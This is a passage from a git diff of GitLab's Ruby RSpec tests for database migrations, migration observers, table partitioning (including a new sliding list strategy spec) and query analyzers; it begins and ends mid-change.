- context 'when the max_value is not given' do
- context 'when records exist in the database' do
- let!(:event1) { create(:event) }
- let!(:event2) { create(:event) }
- let!(:event3) { create(:event) }
-
- it 'creates the record with the current max value' do
- expect do
- model.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
-
- expect(created_migration.max_value).to eq(event3.id)
- end
-
- it 'creates the record with an active status' do
- expect do
- model.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to be_active
- end
- end
-
- context 'when the database is empty' do
- it 'sets the max value to the min value' do
- expect do
- model.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
-
- expect(created_migration.max_value).to eq(created_migration.min_value)
- end
-
- it 'creates the record with a finished status' do
- expect do
- model.queue_batched_background_migration('MyJobClass', :projects, :id, job_interval: 5.minutes)
- end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
-
- expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to be_finished
- end
- end
- end
- end
-
describe '#migrate_async' do
it 'calls BackgroundMigrationWorker.perform_async' do
expect(BackgroundMigrationWorker).to receive(:perform_async).with("Class", "hello", "world")
@@ -583,7 +356,7 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
end
describe '#finalized_background_migration' do
- let(:job_coordinator) { Gitlab::BackgroundMigration::JobCoordinator.new(:main, BackgroundMigrationWorker) }
+ let(:job_coordinator) { Gitlab::BackgroundMigration::JobCoordinator.new(BackgroundMigrationWorker) }
let!(:job_class_name) { 'TestJob' }
let!(:job_class) { Class.new }
@@ -605,7 +378,7 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
job_class.define_method(:perform, job_perform_method)
allow(Gitlab::BackgroundMigration).to receive(:coordinator_for_database)
- .with(:main).and_return(job_coordinator)
+ .with('main').and_return(job_coordinator)
expect(job_coordinator).to receive(:migration_class_for)
.with(job_class_name).at_least(:once) { job_class }
diff --git a/spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb
new file mode 100644
index 00000000000..c45149d67bf
--- /dev/null
+++ b/spec/lib/gitlab/database/migrations/batched_background_migration_helpers_spec.rb
@@ -0,0 +1,164 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Migrations::BatchedBackgroundMigrationHelpers do
+ let(:migration) do
+ ActiveRecord::Migration.new.extend(described_class)
+ end
+
+ describe '#queue_batched_background_migration' do
+ let(:pgclass_info) { instance_double('Gitlab::Database::PgClass', cardinality_estimate: 42) }
+
+ before do
+ allow(Gitlab::Database::PgClass).to receive(:for_table).and_call_original
+ end
+
+ context 'when such migration already exists' do
+ it 'does not create duplicate migration' do
+ create(
+ :batched_background_migration,
+ job_class_name: 'MyJobClass',
+ table_name: :projects,
+ column_name: :id,
+ interval: 10.minutes,
+ min_value: 5,
+ max_value: 1005,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 200,
+ sub_batch_size: 20,
+ job_arguments: [[:id], [:id_convert_to_bigint]]
+ )
+
+ expect do
+ migration.queue_batched_background_migration(
+ 'MyJobClass',
+ :projects,
+ :id,
+ [:id], [:id_convert_to_bigint],
+ job_interval: 5.minutes,
+ batch_min_value: 5,
+ batch_max_value: 1000,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 100,
+ sub_batch_size: 10)
+ end.not_to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }
+ end
+ end
+
+ it 'creates the database record for the migration' do
+ expect(Gitlab::Database::PgClass).to receive(:for_table).with(:projects).and_return(pgclass_info)
+
+ expect do
+ migration.queue_batched_background_migration(
+ 'MyJobClass',
+ :projects,
+ :id,
+ job_interval: 5.minutes,
+ batch_min_value: 5,
+ batch_max_value: 1000,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 100,
+ sub_batch_size: 10)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to have_attributes(
+ job_class_name: 'MyJobClass',
+ table_name: 'projects',
+ column_name: 'id',
+ interval: 300,
+ min_value: 5,
+ max_value: 1000,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 100,
+ sub_batch_size: 10,
+ job_arguments: %w[],
+ status: 'active',
+ total_tuple_count: pgclass_info.cardinality_estimate)
+ end
+
+ context 'when the job interval is lower than the minimum' do
+ let(:minimum_delay) { described_class::BATCH_MIN_DELAY }
+
+ it 'sets the job interval to the minimum value' do
+ expect do
+ migration.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: minimum_delay - 1.minute)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
+
+ expect(created_migration.interval).to eq(minimum_delay)
+ end
+ end
+
+ context 'when additional arguments are passed to the method' do
+ it 'saves the arguments on the database record' do
+ expect do
+ migration.queue_batched_background_migration(
+ 'MyJobClass',
+ :projects,
+ :id,
+ 'my',
+ 'arguments',
+ job_interval: 5.minutes,
+ batch_max_value: 1000)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to have_attributes(
+ job_class_name: 'MyJobClass',
+ table_name: 'projects',
+ column_name: 'id',
+ interval: 300,
+ min_value: 1,
+ max_value: 1000,
+ job_arguments: %w[my arguments])
+ end
+ end
+
+ context 'when the max_value is not given' do
+ context 'when records exist in the database' do
+ let!(:event1) { create(:event) }
+ let!(:event2) { create(:event) }
+ let!(:event3) { create(:event) }
+
+ it 'creates the record with the current max value' do
+ expect do
+ migration.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
+
+ expect(created_migration.max_value).to eq(event3.id)
+ end
+
+ it 'creates the record with an active status' do
+ expect do
+ migration.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to be_active
+ end
+ end
+
+ context 'when the database is empty' do
+ it 'sets the max value to the min value' do
+ expect do
+ migration.queue_batched_background_migration('MyJobClass', :events, :id, job_interval: 5.minutes)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ created_migration = Gitlab::Database::BackgroundMigration::BatchedMigration.last
+
+ expect(created_migration.max_value).to eq(created_migration.min_value)
+ end
+
+ it 'creates the record with a finished status' do
+ expect do
+ migration.queue_batched_background_migration('MyJobClass', :projects, :id, job_interval: 5.minutes)
+ end.to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }.by(1)
+
+ expect(Gitlab::Database::BackgroundMigration::BatchedMigration.last).to be_finished
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/migrations/instrumentation_spec.rb b/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
index 841d2a98a16..902d8e13a63 100644
--- a/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
+++ b/spec/lib/gitlab/database/migrations/instrumentation_spec.rb
@@ -3,6 +3,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Instrumentation do
let(:result_dir) { Dir.mktmpdir }
+ let(:connection) { ActiveRecord::Migration.connection }
after do
FileUtils.rm_rf(result_dir)
@@ -14,11 +15,11 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
let(:migration_version) { '12345' }
it 'executes the given block' do
- expect { |b| subject.observe(version: migration_version, name: migration_name, &b) }.to yield_control
+ expect { |b| subject.observe(version: migration_version, name: migration_name, connection: connection, &b) }.to yield_control
end
context 'behavior with observers' do
- subject { described_class.new(observer_classes: [Gitlab::Database::Migrations::Observers::MigrationObserver], result_dir: result_dir).observe(version: migration_version, name: migration_name) {} }
+ subject { described_class.new(observer_classes: [Gitlab::Database::Migrations::Observers::MigrationObserver], result_dir: result_dir).observe(version: migration_version, name: migration_name, connection: connection) {} }
let(:observer) { instance_double('Gitlab::Database::Migrations::Observers::MigrationObserver', before: nil, after: nil, record: nil) }
@@ -29,7 +30,7 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
it 'instantiates observer with observation' do
expect(Gitlab::Database::Migrations::Observers::MigrationObserver)
.to receive(:new)
- .with(instance_of(Gitlab::Database::Migrations::Observation), anything) { |observation| expect(observation.version).to eq(migration_version) }
+ .with(instance_of(Gitlab::Database::Migrations::Observation), anything, connection) { |observation| expect(observation.version).to eq(migration_version) }
.and_return(observer)
subject
@@ -63,7 +64,7 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
end
context 'on successful execution' do
- subject { described_class.new(result_dir: result_dir).observe(version: migration_version, name: migration_name) {} }
+ subject { described_class.new(result_dir: result_dir).observe(version: migration_version, name: migration_name, connection: connection) {} }
it 'records walltime' do
expect(subject.walltime).not_to be_nil
@@ -83,7 +84,7 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
end
context 'upon failure' do
- subject { described_class.new(result_dir: result_dir).observe(version: migration_version, name: migration_name) { raise 'something went wrong' } }
+ subject { described_class.new(result_dir: result_dir).observe(version: migration_version, name: migration_name, connection: connection) { raise 'something went wrong' } }
it 'raises the exception' do
expect { subject }.to raise_error(/something went wrong/)
@@ -93,7 +94,7 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
subject { instance.observations.first }
before do
- instance.observe(version: migration_version, name: migration_name) { raise 'something went wrong' }
+ instance.observe(version: migration_version, name: migration_name, connection: connection) { raise 'something went wrong' }
rescue StandardError
# ignore
end
@@ -125,8 +126,8 @@ RSpec.describe Gitlab::Database::Migrations::Instrumentation do
let(:migration2) { double('migration2', call: nil) }
it 'records observations for all migrations' do
- subject.observe(version: migration_version, name: migration_name) {}
- subject.observe(version: migration_version, name: migration_name) { raise 'something went wrong' } rescue nil
+ subject.observe(version: migration_version, name: migration_name, connection: connection) {}
+ subject.observe(version: migration_version, name: migration_name, connection: connection) { raise 'something went wrong' } rescue nil
expect(subject.observations.size).to eq(2)
end
diff --git a/spec/lib/gitlab/database/migrations/observers/query_details_spec.rb b/spec/lib/gitlab/database/migrations/observers/query_details_spec.rb
index 191ac29e3b3..5a19ae6581d 100644
--- a/spec/lib/gitlab/database/migrations/observers/query_details_spec.rb
+++ b/spec/lib/gitlab/database/migrations/observers/query_details_spec.rb
@@ -2,10 +2,10 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Observers::QueryDetails do
- subject { described_class.new(observation, directory_path) }
+ subject { described_class.new(observation, directory_path, connection) }
+ let(:connection) { ActiveRecord::Migration.connection }
let(:observation) { Gitlab::Database::Migrations::Observation.new(migration_version, migration_name) }
- let(:connection) { ActiveRecord::Base.connection }
let(:query) { "select date_trunc('day', $1::timestamptz) + $2 * (interval '1 hour')" }
let(:query_binds) { [Time.current, 3] }
let(:directory_path) { Dir.mktmpdir }
diff --git a/spec/lib/gitlab/database/migrations/observers/query_log_spec.rb b/spec/lib/gitlab/database/migrations/observers/query_log_spec.rb
index 2e70a85fd5b..7b01e39f5f1 100644
--- a/spec/lib/gitlab/database/migrations/observers/query_log_spec.rb
+++ b/spec/lib/gitlab/database/migrations/observers/query_log_spec.rb
@@ -2,10 +2,10 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Observers::QueryLog do
- subject { described_class.new(observation, directory_path) }
+ subject { described_class.new(observation, directory_path, connection) }
let(:observation) { Gitlab::Database::Migrations::Observation.new(migration_version, migration_name) }
- let(:connection) { ActiveRecord::Base.connection }
+ let(:connection) { ActiveRecord::Migration.connection }
let(:query) { 'select 1' }
let(:directory_path) { Dir.mktmpdir }
let(:migration_version) { 20210422152437 }
diff --git a/spec/lib/gitlab/database/migrations/observers/query_statistics_spec.rb b/spec/lib/gitlab/database/migrations/observers/query_statistics_spec.rb
index 9727a215d71..2515f0d4a06 100644
--- a/spec/lib/gitlab/database/migrations/observers/query_statistics_spec.rb
+++ b/spec/lib/gitlab/database/migrations/observers/query_statistics_spec.rb
@@ -2,10 +2,10 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Observers::QueryStatistics do
- subject { described_class.new(observation, double("unused path")) }
+ subject { described_class.new(observation, double("unused path"), connection) }
let(:observation) { Gitlab::Database::Migrations::Observation.new }
- let(:connection) { ActiveRecord::Base.connection }
+ let(:connection) { ActiveRecord::Migration.connection }
def mock_pgss(enabled: true)
if enabled
diff --git a/spec/lib/gitlab/database/migrations/observers/total_database_size_change_spec.rb b/spec/lib/gitlab/database/migrations/observers/total_database_size_change_spec.rb
index e689759c574..4b08838d6bb 100644
--- a/spec/lib/gitlab/database/migrations/observers/total_database_size_change_spec.rb
+++ b/spec/lib/gitlab/database/migrations/observers/total_database_size_change_spec.rb
@@ -2,10 +2,10 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Observers::TotalDatabaseSizeChange do
- subject { described_class.new(observation, double('unused path')) }
+ subject { described_class.new(observation, double('unused path'), connection) }
let(:observation) { Gitlab::Database::Migrations::Observation.new }
- let(:connection) { ActiveRecord::Base.connection }
+ let(:connection) { ActiveRecord::Migration.connection }
let(:query) { 'select pg_database_size(current_database())' }
it 'records the size change' do
diff --git a/spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb b/spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb
index e65f89747c4..b26bb8fbe41 100644
--- a/spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb
+++ b/spec/lib/gitlab/database/migrations/observers/transaction_duration_spec.rb
@@ -2,8 +2,9 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::Migrations::Observers::TransactionDuration do
- subject(:transaction_duration_observer) { described_class.new(observation, directory_path) }
+ subject(:transaction_duration_observer) { described_class.new(observation, directory_path, connection) }
+ let(:connection) { ActiveRecord::Migration.connection }
let(:observation) { Gitlab::Database::Migrations::Observation.new(migration_version, migration_name) }
let(:directory_path) { Dir.mktmpdir }
let(:log_file) { "#{directory_path}/#{migration_version}_#{migration_name}-transaction-duration.json" }
@@ -78,17 +79,17 @@ RSpec.describe Gitlab::Database::Migrations::Observers::TransactionDuration do
end
def run_real_transactions
- ActiveRecord::Base.transaction do
+ ApplicationRecord.transaction do
end
end
def run_sub_transactions
- ActiveRecord::Base.transaction(requires_new: true) do
+ ApplicationRecord.transaction(requires_new: true) do
end
end
def run_transaction
- ActiveRecord::Base.connection_pool.with_connection do |connection|
+ ApplicationRecord.connection_pool.with_connection do |connection|
Gitlab::Database::SharedModel.using_connection(connection) do
Gitlab::Database::SharedModel.transaction do
Gitlab::Database::SharedModel.transaction(requires_new: true) do
diff --git a/spec/lib/gitlab/database/migrations/runner_spec.rb b/spec/lib/gitlab/database/migrations/runner_spec.rb
index 52fb5ec2ba8..4616bd6941e 100644
--- a/spec/lib/gitlab/database/migrations/runner_spec.rb
+++ b/spec/lib/gitlab/database/migrations/runner_spec.rb
@@ -76,7 +76,7 @@ RSpec.describe Gitlab::Database::Migrations::Runner do
it 'runs the unapplied migrations in version order', :aggregate_failures do
up.run
- expect(migration_runs.map(&:dir)).to eq([:up, :up])
+ expect(migration_runs.map(&:dir)).to match_array([:up, :up])
expect(migration_runs.map(&:version_to_migrate)).to eq(pending_migrations.map(&:version))
end
end
@@ -101,7 +101,7 @@ RSpec.describe Gitlab::Database::Migrations::Runner do
it 'runs the applied migrations for the current branch in reverse order', :aggregate_failures do
down.run
- expect(migration_runs.map(&:dir)).to eq([:down, :down])
+ expect(migration_runs.map(&:dir)).to match_array([:down, :down])
expect(migration_runs.map(&:version_to_migrate)).to eq(applied_migrations_this_branch.reverse.map(&:version))
end
end
diff --git a/spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb b/spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb
index b2c4e4b54a4..2ef873e8adb 100644
--- a/spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb
+++ b/spec/lib/gitlab/database/partitioning/detached_partition_dropper_spec.rb
@@ -90,18 +90,6 @@ RSpec.describe Gitlab::Database::Partitioning::DetachedPartitionDropper do
expect(table_oid('test_partition')).to be_nil
end
- context 'when the drop_detached_partitions feature flag is disabled' do
- before do
- stub_feature_flags(drop_detached_partitions: false)
- end
-
- it 'does not drop the partition' do
- dropper.perform
-
- expect(table_oid('test_partition')).not_to be_nil
- end
- end
-
context 'removing foreign keys' do
it 'removes foreign keys from the table before dropping it' do
expect(dropper).to receive(:drop_detached_partition).and_wrap_original do |drop_method, partition_name|
diff --git a/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb b/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb
index 1c6f5c5c694..5e107109fc9 100644
--- a/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb
+++ b/spec/lib/gitlab/database/partitioning/partition_manager_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::Database::Partitioning::PartitionManager do
subject(:sync_partitions) { described_class.new(model).sync_partitions }
let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table, connection: connection) }
- let(:partitioning_strategy) { double(missing_partitions: partitions, extra_partitions: []) }
+ let(:partitioning_strategy) { double(missing_partitions: partitions, extra_partitions: [], after_adding_partitions: nil) }
let(:connection) { ActiveRecord::Base.connection }
let(:table) { "some_table" }
@@ -83,7 +83,7 @@ RSpec.describe Gitlab::Database::Partitioning::PartitionManager do
let(:manager) { described_class.new(model) }
let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table, connection: connection) }
- let(:partitioning_strategy) { double(extra_partitions: extra_partitions, missing_partitions: []) }
+ let(:partitioning_strategy) { double(extra_partitions: extra_partitions, missing_partitions: [], after_adding_partitions: nil) }
let(:connection) { ActiveRecord::Base.connection }
let(:table) { "foo" }
@@ -101,28 +101,10 @@ RSpec.describe Gitlab::Database::Partitioning::PartitionManager do
]
end
- context 'with the partition_pruning feature flag enabled' do
- before do
- stub_feature_flags(partition_pruning: true)
- end
-
- it 'detaches each extra partition' do
- extra_partitions.each { |p| expect(manager).to receive(:detach_one_partition).with(p) }
-
- sync_partitions
- end
- end
+ it 'detaches each extra partition' do
+ extra_partitions.each { |p| expect(manager).to receive(:detach_one_partition).with(p) }
- context 'with the partition_pruning feature flag disabled' do
- before do
- stub_feature_flags(partition_pruning: false)
- end
-
- it 'returns immediately' do
- expect(manager).not_to receive(:detach)
-
- sync_partitions
- end
+ sync_partitions
end
end
diff --git a/spec/lib/gitlab/database/partitioning/single_numeric_list_partition_spec.rb b/spec/lib/gitlab/database/partitioning/single_numeric_list_partition_spec.rb
new file mode 100644
index 00000000000..9941241e846
--- /dev/null
+++ b/spec/lib/gitlab/database/partitioning/single_numeric_list_partition_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Partitioning::SingleNumericListPartition do
+ describe '.from_sql' do
+ subject(:parsed_partition) { described_class.from_sql(table, partition_name, definition) }
+
+ let(:table) { 'partitioned_table' }
+ let(:partition_value) { 0 }
+ let(:partition_name) { "partitioned_table_#{partition_value}" }
+ let(:definition) { "FOR VALUES IN ('#{partition_value}')" }
+
+ it 'uses specified table name' do
+ expect(parsed_partition.table).to eq(table)
+ end
+
+ it 'uses specified partition name' do
+ expect(parsed_partition.partition_name).to eq(partition_name)
+ end
+
+ it 'parses the definition' do
+ expect(parsed_partition.value).to eq(partition_value)
+ end
+ end
+
+ describe '#partition_name' do
+ it 'is the explicit name if provided' do
+ expect(described_class.new('table', 1, partition_name: 'some_other_name').partition_name).to eq('some_other_name')
+ end
+
+ it 'defaults to the table name followed by the partition value' do
+ expect(described_class.new('table', 1).partition_name).to eq('table_1')
+ end
+ end
+
+ context 'sorting' do
+ it 'is incomparable if the tables do not match' do
+ expect(described_class.new('table1', 1) <=> described_class.new('table2', 2)).to be_nil
+ end
+
+ it 'sorts by the value when the tables match' do
+ expect(described_class.new('table1', 1) <=> described_class.new('table1', 2)).to eq(1 <=> 2)
+ end
+
+ it 'sorts by numeric value rather than text value' do
+ expect(described_class.new('table', 10)).to be > described_class.new('table', 9)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/partitioning/sliding_list_strategy_spec.rb b/spec/lib/gitlab/database/partitioning/sliding_list_strategy_spec.rb
new file mode 100644
index 00000000000..636a09e5710
--- /dev/null
+++ b/spec/lib/gitlab/database/partitioning/sliding_list_strategy_spec.rb
@@ -0,0 +1,214 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Partitioning::SlidingListStrategy do
+ let(:connection) { ActiveRecord::Base.connection }
+ let(:table_name) { :_test_partitioned_test }
+ let(:model) { double('model', table_name: table_name, ignored_columns: %w[partition]) }
+ let(:next_partition_if) { double('next_partition_if') }
+ let(:detach_partition_if) { double('detach_partition_if') }
+
+ subject(:strategy) do
+ described_class.new(model, :partition,
+ next_partition_if: next_partition_if,
+ detach_partition_if: detach_partition_if)
+ end
+
+ before do
+ connection.execute(<<~SQL)
+ create table #{table_name}
+ (
+ id serial not null,
+ partition bigint not null default 2,
+ created_at timestamptz not null,
+ primary key (id, partition)
+ )
+ partition by list(partition);
+
+ create table #{table_name}_1
+ partition of #{table_name} for values in (1);
+
+ create table #{table_name}_2
+ partition of #{table_name} for values in (2);
+ SQL
+ end
+
+ describe '#current_partitions' do
+ it 'detects both partitions' do
+ expect(strategy.current_partitions).to eq([
+ Gitlab::Database::Partitioning::SingleNumericListPartition.new(table_name, 1, partition_name: '_test_partitioned_test_1'),
+ Gitlab::Database::Partitioning::SingleNumericListPartition.new(table_name, 2, partition_name: '_test_partitioned_test_2')
+ ])
+ end
+ end
+
+ describe '#active_partition' do
+ it 'is the partition with the largest value' do
+ expect(strategy.active_partition.value).to eq(2)
+ end
+ end
+
+ describe '#missing_partitions' do
+ context 'when next_partition_if returns true' do
+ let(:next_partition_if) { proc { true } }
+
+ it 'is a partition definition for the next partition in the series' do
+ extra = strategy.missing_partitions
+
+ expect(extra.length).to eq(1)
+ expect(extra.first.value).to eq(3)
+ end
+ end
+
+ context 'when next_partition_if returns false' do
+ let(:next_partition_if) { proc { false } }
+
+ it 'is empty' do
+ expect(strategy.missing_partitions).to be_empty
+ end
+ end
+
+ context 'when there are no partitions for the table' do
+ it 'returns a partition for value 1' do
+ connection.execute("drop table #{table_name}_1; drop table #{table_name}_2;")
+
+ missing_partitions = strategy.missing_partitions
+
+ expect(missing_partitions.size).to eq(1)
+ missing_partition = missing_partitions.first
+
+ expect(missing_partition.value).to eq(1)
+ end
+ end
+ end
+
+ describe '#extra_partitions' do
+ before do
+ (3..10).each do |i|
+ connection.execute("CREATE TABLE #{table_name}_#{i} PARTITION OF #{table_name} FOR VALUES IN (#{i})")
+ end
+ end
+
+ context 'when some partitions are true for detach_partition_if' do
+ let(:detach_partition_if) { ->(p) { p != 5 } }
+
+ it 'is the leading set of partitions before that value' do
+ expect(strategy.extra_partitions.map(&:value)).to contain_exactly(1, 2, 3, 4)
+ end
+ end
+
+ context 'when all partitions are true for detach_partition_if' do
+ let(:detach_partition_if) { proc { true } }
+
+ it 'is all but the most recent partition', :aggregate_failures do
+ expect(strategy.extra_partitions.map(&:value)).to contain_exactly(1, 2, 3, 4, 5, 6, 7, 8, 9)
+
+ expect(strategy.current_partitions.map(&:value).max).to eq(10)
+ end
+ end
+ end
+
+ describe '#initial_partition' do
+ it 'starts with the value 1', :aggregate_failures do
+ initial_partition = strategy.initial_partition
+ expect(initial_partition.value).to eq(1)
+ expect(initial_partition.table).to eq(strategy.table_name)
+ expect(initial_partition.partition_name).to eq("#{strategy.table_name}_1")
+ end
+ end
+
+ describe '#next_partition' do
+ it 'is one after the active partition', :aggregate_failures do
+ expect(strategy).to receive(:active_partition).and_return(double(value: 5))
+ next_partition = strategy.next_partition
+
+ expect(next_partition.value).to eq(6)
+ expect(next_partition.table).to eq(strategy.table_name)
+ expect(next_partition.partition_name).to eq("#{strategy.table_name}_6")
+ end
+ end
+
+ describe '#ensure_partitioning_column_ignored!' do
+ it 'raises when the column is not ignored' do
+ expect do
+ Class.new(ApplicationRecord) do
+ include PartitionedTable
+
+ partitioned_by :partition, strategy: :sliding_list,
+ next_partition_if: proc { false },
+ detach_partition_if: proc { false }
+ end
+ end.to raise_error(/ignored_columns/)
+ end
+
+ it 'does not raise when the column is ignored' do
+ expect do
+ Class.new(ApplicationRecord) do
+ include PartitionedTable
+
+ self.ignored_columns = [:partition]
+
+ partitioned_by :partition, strategy: :sliding_list,
+ next_partition_if: proc { false },
+ detach_partition_if: proc { false }
+ end
+ end.not_to raise_error
+ end
+ end
+ context 'redirecting inserts as the active partition changes' do
+ let(:model) do
+ Class.new(ApplicationRecord) do
+ include PartitionedTable
+
+ self.table_name = '_test_partitioned_test'
+ self.primary_key = :id
+
+ self.ignored_columns = %w[partition]
+
+ # method().call cannot be detected by rspec, so we add a layer of indirection here
+ def self.next_partition_if_wrapper(...)
+ next_partition?(...)
+ end
+
+ def self.detach_partition_if_wrapper(...)
+ detach_partition?(...)
+ end
+ partitioned_by :partition, strategy: :sliding_list,
+ next_partition_if: method(:next_partition_if_wrapper),
+ detach_partition_if: method(:detach_partition_if_wrapper)
+
+ def self.next_partition?(current_partition)
+ end
+
+ def self.detach_partition?(partition)
+ end
+ end
+ end
+
+ it 'redirects to the new partition', :aggregate_failures do
+ partition_2_model = model.create! # Goes in partition 2
+
+ allow(model).to receive(:next_partition?) do
+ model.partitioning_strategy.active_partition.value < 3
+ end
+
+ allow(model).to receive(:detach_partition?).and_return(false)
+
+ Gitlab::Database::Partitioning::PartitionManager.new(model).sync_partitions
+
+ partition_3_model = model.create!
+
+ # Rails doesn't pick up on database default changes, so we need to reload
+ # We also want to grab the partition column to verify what it was set to.
+ # In normal operation we make rails ignore it so that we can use a changing default
+ # So we force select * to load it
+ all_columns = model.select(model.arel_table[Arel.star])
+ partition_2_model = all_columns.find(partition_2_model.id)
+ partition_3_model = all_columns.find(partition_3_model.id)
+
+ expect(partition_2_model.partition).to eq(2)
+ expect(partition_3_model.partition).to eq(3)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/query_analyzer_spec.rb b/spec/lib/gitlab/database/query_analyzer_spec.rb
index 82a1c7143d5..34c72893c53 100644
--- a/spec/lib/gitlab/database/query_analyzer_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzer_spec.rb
@@ -128,11 +128,20 @@ RSpec.describe Gitlab::Database::QueryAnalyzer, query_analyzers: false do
it 'does not call analyze on suppressed analyzers' do
expect(analyzer).to receive(:suppressed?).and_return(true)
+ expect(analyzer).to receive(:requires_tracking?).and_return(false)
expect(analyzer).not_to receive(:analyze)
expect { process_sql("SELECT 1 FROM projects") }.not_to raise_error
end
+ it 'does call analyze on suppressed analyzers if some queries require tracking' do
+ expect(analyzer).to receive(:suppressed?).and_return(true)
+ expect(analyzer).to receive(:requires_tracking?).and_return(true)
+ expect(analyzer).to receive(:analyze)
+
+ expect { process_sql("SELECT 1 FROM projects") }.not_to raise_error
+ end
+
def process_sql(sql)
described_class.instance.within do
ApplicationRecord.load_balancer.read_write do |connection|
diff --git a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
index ab5f05e3ec4..86e74cf5177 100644
--- a/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/gitlab_schemas_metrics_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::GitlabSchemasMetrics, query_ana
process_sql(ActiveRecord::Base, "SELECT 1 FROM projects")
end
- context 'properly observes all queries', :mocked_ci_connection do
+ context 'properly observes all queries', :add_ci_connection do
using RSpec::Parameterized::TableSyntax
where do
diff --git a/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb b/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
index eb8ccb0bd89..c41b4eeea10 100644
--- a/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
+++ b/spec/lib/gitlab/database/query_analyzers/prevent_cross_database_modification_spec.rb
@@ -92,6 +92,23 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModificatio
end
end
end
+
+ context 'when comments are added to the front of query strings' do
+ around do |example|
+ prepend_comment_was = Marginalia::Comment.prepend_comment
+ Marginalia::Comment.prepend_comment = true
+
+ example.run
+
+ Marginalia::Comment.prepend_comment = prepend_comment_was
+ end
+
+ it 'raises error' do
+ Project.transaction do
+ expect { run_queries }.to raise_error /Cross-database data modification/
+ end
+ end
+ end
end
context 'when executing a SELECT FOR UPDATE query' do
@@ -164,4 +181,49 @@ RSpec.describe Gitlab::Database::QueryAnalyzers::PreventCrossDatabaseModificatio
end.to raise_error /Cross-database data modification.*The gitlab_schema was undefined/
end
end
+
+ context 'when execution is rescued with StandardError' do
